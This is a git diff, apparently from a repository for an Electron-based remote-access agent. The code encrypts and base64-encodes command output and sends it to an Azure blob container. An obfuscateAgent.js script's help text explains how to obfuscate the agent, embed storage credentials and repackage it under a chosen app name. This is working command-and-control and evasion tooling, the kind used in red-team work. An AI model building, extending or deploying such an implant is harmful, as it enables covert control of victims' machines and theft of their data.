let command_output = await func_Encrypt(ipcoutput, key, iv);
|
||||
command_output = await func_Base64_Encode(command_output);
|
||||
agentwindow.webContents.send('send-output', agent.container.name, agent.container.blobs['out'], command_output);
|
||||
if (handover === false) {
|
||||
execwindow.close();
|
||||
}
|
||||
} catch (error) {
|
||||
func_log(`[!] Error in end-file-op IPC main.js ${error} ${error.stack}`);
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('containers-created', async (event,status) => {
|
||||
func_log(`IPC containers-created recieved from browser window with status ${status}`);
|
||||
if (status == true)
|
||||
{
|
||||
isContainersInit = true;
|
||||
agent.window.checkin = Date.now();
|
||||
agent.checkin = Date.now();
|
||||
}else
|
||||
{
|
||||
isContainersInit = false;
|
||||
await new Promise(resolve => setTimeout(resolve, 5000));
|
||||
await func_Container_Init();
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.on('end-file-op', async (event,ipcname,ipcoutput,key,iv) => {
|
||||
try{
|
||||
|
||||
func_log(`Hit IPC main.js end-file-op from ${ipcname}`);
|
||||
func_log(ipcoutput);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
fileop = false;
|
||||
let command_output = await func_Encrypt(ipcoutput, key,iv);
|
||||
command_output = await func_Base64_Encode(command_output);
|
||||
agentwindow.webContents.send('send-output',agent.container.name, agent.container.blobs['out'],command_output);
|
||||
if (handover === false)
|
||||
{
|
||||
//execwindow.close();
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`[!] Error in end-file-op IPC main.js ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
+1
-7
@@ -4,14 +4,12 @@
|
||||
"main": "./main.js",
|
||||
"scripts": {
|
||||
"start": "electron .",
|
||||
"test": "echo \"Error: no test specified\" && exit 1",
|
||||
"pack": "electron-builder --dir",
|
||||
"dist": "electron-builder"
|
||||
},
|
||||
"keywords": [],
|
||||
"author": "",
|
||||
"homepage": "",
|
||||
"license": "MIT",
|
||||
"license": "",
|
||||
"description": "",
|
||||
"devDependencies": {
|
||||
"electron": "^31.1.0",
|
||||
@@ -51,9 +49,5 @@
|
||||
"AppImage"
|
||||
]
|
||||
}
|
||||
},
|
||||
"dependencies": {
|
||||
"@azure/storage-blob": "^12.23.0",
|
||||
"https-proxy-agent": "^7.0.4"
|
||||
}
|
||||
}
|
||||
|
||||
+14
-14
@@ -52,24 +52,24 @@ if (argMap.h || argMap.help) {
|
||||
Usage: node obfuscateAgent.js [AppName] [--account <StorageAccount>] [--token <SASToken>] [--meta <ContainerName>] [-h|--help] [--debug|-d]
|
||||
|
||||
Arguments:
|
||||
AppName Optional. Used to name the final output in package.json.
|
||||
Must be lowercase, start with a letter, contain only letters, numbers, or dashes.
|
||||
--account Azure Storage Account name. Will prompt if not provided.
|
||||
--token Azure SAS Token. Will prompt if not provided.
|
||||
--meta Container name for metadata. If omitted, a random name is generated.
|
||||
--cleanup Remove node modules, package.json, and other dependency files after execution.
|
||||
-h, --help Show this help message and exit.
|
||||
--debug, -d Enable verbose output about file operations.
|
||||
AppName Optional. Used to name the final output in package.json.
|
||||
Must be lowercase, start with a letter, contain only letters, numbers, or dashes.
|
||||
--account Azure Storage Account name. Will prompt if not provided.
|
||||
--token Azure SAS Token. Will prompt if not provided.
|
||||
--meta Container name for metadata. If omitted, a random name is generated.
|
||||
--cleanup Remove node modules, package.json, and other dependency files after execution.
|
||||
-h, --help Show this help message and exit.
|
||||
--debug, -d Enable verbose output about file operations.
|
||||
|
||||
Example:
|
||||
node obfuscateAgent.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --debug
|
||||
node obfuscateAgent.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --debug
|
||||
|
||||
This script:
|
||||
- Obfuscates JavaScript files in ./agent and writes to ./app
|
||||
- Updates ./agent/config.js with storage config
|
||||
- Copies config to ./config.js
|
||||
- Generates or updates package.json
|
||||
- [Optional] Cleans up node_modules, package.json, etc. after execution
|
||||
- Obfuscates JavaScript files in ./agent and writes to ./app
|
||||
- Updates ./agent/config.js with storage config
|
||||
- Copies config to ./config.js
|
||||
- Generates or updates package.json
|
||||
- [Optional] Cleans up node_modules, package.json, etc. after execution
|
||||
`);
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user